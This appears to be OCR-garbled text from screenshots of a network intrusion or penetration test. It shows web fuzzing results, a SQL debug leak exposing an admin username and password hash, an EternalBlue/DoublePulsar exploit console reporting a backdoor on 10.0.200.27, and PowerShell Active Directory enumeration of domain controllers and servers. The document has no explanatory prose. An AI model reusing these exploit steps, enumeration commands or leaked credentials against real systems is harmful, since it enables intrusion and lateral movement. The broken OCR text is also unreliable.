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¢ <« X 0722 PFas s & |Filter: Showing all items |C,
Request | Payload Status | Error | Timeout | Length ¥ | Comment
26 26 200 @] O 355001 [i
B q " 27 27 200 a O 216078 i
l. .F- J -.= 'Jr ’3‘ *a 0 200 o o 159960
# 28 28 200 Qo O 159960
-l- L - - ' 19 19 200 o O 149823
| | - - 20 20 200 a a 104140
" ' I e I . n H L : . 3 22 22 200 0 O 4843
H 1 01 404 a @] 3240
2 02 404 o O 3240
3 03 404 a g 3240
4 04 404 a O 3240
EEE ' smwe i rES o e oo os O O 3
6 06 404 a O 3240
7 07 404 (0] g 3240 i
R nK ANA o il

2240

% SQL: SELECT "id" FROM “yn_column’ [RunTime:0.0003s ]
~|NOTIC: [8] Undefined index: auto /var/www/html/ThinkPHP/Library/Think/Model.class.php 5 1128 17
1SQL: SELECT “photo” FROM “yn_admin” WHERE "id" = 1 LIMIT 1 [RunTime:0.0004s ]

- ALE "yn_admin‘ SEL
!{ username * ='yineng', " password "

='b5f985dab87fafcc95c5ba2ec8d54508', " qugstion’ ='0", answer =", email "=", group_id "='1", "depart
s ,95,96,97,98,99,100,101,26,102,103,104,105,106,107,108,2
7, 110 111 112,113, 114 115 116 161 162 163 164 165 166 167 168 28 117 118,119,120,121,122,123,29,124,125,126,127,128,129,130,3
0,131,132,133,134,135,136,137,31,138,139,140,141,142,143,144,4,32,33,5,34,35,36,37,38,39,155,156,157,158,159,160,6,40,41,7,42,43
,44,8,45,77,78,79,80,46,47,48,49,9,50,51,52,10,53,54,55,56,91,92,93,94,147,57,58,172,66,11,59,60,61,62,63,64,65,170,171,173,67,68,6
9,70,71,72,73,74,75,76,146,81,82,83,84,85,86,87,88,89,90,148,149,150,151,152,153,154,169,174,145,175,178,182,179,180,181,183","s
tyle ' ='0", nhata’ =' /lInloads /Admin/Phata/vinena nna' WHFRF “id’ = 1 [ RunTime 0 0006As 1
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O XIBRSseRPTECRt i | SRIRSSARFEMS17-010/mR |
HERIRSS st SR

Eternabblue poublepulsar

NetworkTimeout: |60 TargetlP: |10.0.200.27 TargetPort: |[445
verifyTarget: VerifyBackdoor: il MaxExploitAttempts: [ validateOnly: [l
GroomAllocations: [ OutConfig: stdout Target: |WIN72K8R2 v Attack

LogFile: Loy e — pesl W L el Allbed ogs. txt
L ——

[*] Connecting to target for exploitation.

[4] Connection established for exploitation.
[*] Pinging backdoor...
ished for exploitation.

[+] Backdoor returned code: 10 - Success!

' [+] Ping returned Target architecture: x64 (64-bit)

[+] Backdoor is already installed -- nothing to be done.
[*] CORE sent serialized output blob (2 bytes):
4-bit)

| [+] Backdoor is already installed ]-nothing to be done.
0x

Backdoor is already installed -- nothing to be done
[*] Received output parameters from CORE
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%5 10.0.20027 - TRSMmERE - u] X

A 5B

% 10020041 - TESHEEE Bl

BEEE WEERE HEREE s PowerShell

H7A <C> 2889 Microsoft Corporation. 1REEFTEIVFI.

30p
208
%i PS C:\Users\Administrator> Get—-ADComputer -Filter * —Property * | Select—-Object Name.IPuv4Address.OperatingSystem.Operati
et ngSystemServicePack,OperatingSystemUersion,LastLogonDate,PasswordLastSet,.CanonicalName ! Export-CSU adcomputer.csv —NoTy)
peInformation —Encoding UTF8
Y E UBIUUIZI,0U( LNFU  LOBLVELINIO) US-OYSTEem: W1NAoWsS JErver Zuuo RZ 0. I, amaod
-

08:00:21,610 INFO [ServerInfo] VM arguments: -Dprogram. name=run.bat -Xrs -Djava. rmi.
10. 0. 200. 27 -Dsam. jms. address=10. 0. 200. 27 -Dcom. sun. net. ssl. enableECC=false -Dprogran
Duser. timezone=Asia/Shanghai -Xms1024m -Xmx2048m -XX:PermSize=128M -XX:MaxPermSize=2%
Dsun. rmi. dgc. client. gcInterval=3600000 -Dsun. rmi. dgc. server. gcInterval=3600000 -Xlogg BE
+UseGCLogFileRotation —KX:NumberOfGCLogFiles=50 -XK:GCLogFileSize=100k -XK:+PrintGCDe BE
+PrintGCDateStamps —XK:+PrintGCTimeStamps —XX:-PrintTenuringDistribution -XX: BE
+HeapDumpOnOutOfMemoryError -X¥X:HeapDumpPath=heap_dump. bin -Dcom. sun. net. ssl. enableEC D GNTETE R T OGS (I Coraa 2019/3/17 2:00:00

Djava. endorsed. dirs=\..\lib\endorsed -Djboss. vfs. forceNoCopy=true -Djboss. vfs.forceCc . A R . N 2019/3/16 6:00:00
"CN=ADSUR1 . C| ervers.CN=Default-First-Site—Name. Cl ites,CN=Conf iguration,.DC=vmsldz,.DC=com"
08:00:21,659 INFO [JMiKernel] Legacy JMX core initialized “CN=ADSURZ .C CN=Default-First-Site—N pe s CN=Conf i = D 1dz. DC= - BE
08:00:23,976 INFO [ProfileServiceBootstrap] Loading profile: ProfileKey@225c9404 [don . s bR AL S L A ) AL S RN S TREE SO B == e acOn
e o PS C:\Users\Administrator> dsquery user
server=default, name=default]
2019-03-19 08:01:00.059 SAMBRS HPEAIIPH4E: 10. 0. 200. 27

N=Administrator,Cl sers,DC=ums1ldz,DC=comn" 2019/3/16 19:00:00
"CN=Guest.CN=Users.DC=uns1ldz,.DC=com" 2018/3/18 18:00:00

2019-03-19 (136 NERBEELRD... “CN=krbtgt , CN=Users , DC=vns 1dz , DC=con"
2019-03-19 . 526 BBFRE [/ selfservice] BEHRI! q ini i
o . PS C:\Users\Administrator> dsquery site —o rdn
2018-03-18 - 183 AVEARSS 38 BERT)! "Default-First-Site—Name"
2019-03-19 . 363 SAMREIHAMIEER...
2019-03-19 . 372 ?Amnﬁ*‘;'rgﬁf?_ijpﬂmm! omain Controllers,DC=umsldz.DC=com"
2019-03-19 . 161 }El B E_i & d omain Controllers,DC=vumsldz,.DC=com"
2019-03-19 L1798 2RKARS R BIRI N=UCENTER, CN=Computers , DC=uns 1dz , DC=con"
2019-03-19 L 662 ClkE B BZHMIN! "CN=UDBSUR, CN
; 2019-03-19 - 207 FIXREMRS BRI "CN=ESXISUR3, CN=Computers , DC=ums 1dz . D
— 2019-03-19 .423 EE%MEEEMZI{J‘ N=ESXISUR2,CN=Computers ,DC=uns1dz D
o | 2019-03-19 .01 BEFRG[/san] BEPF "CN=ESRISUR1, CN=Computers.DC=uns1dz. D
2019-03-19 959 BhAIEERkART, TEB434ER, BEBEF0G PS C:\Users\Administrator>
2019-03-19 V617 HEIFIEERG-SAN V3. xBALR

2019-03-19
2N10-N3-2n
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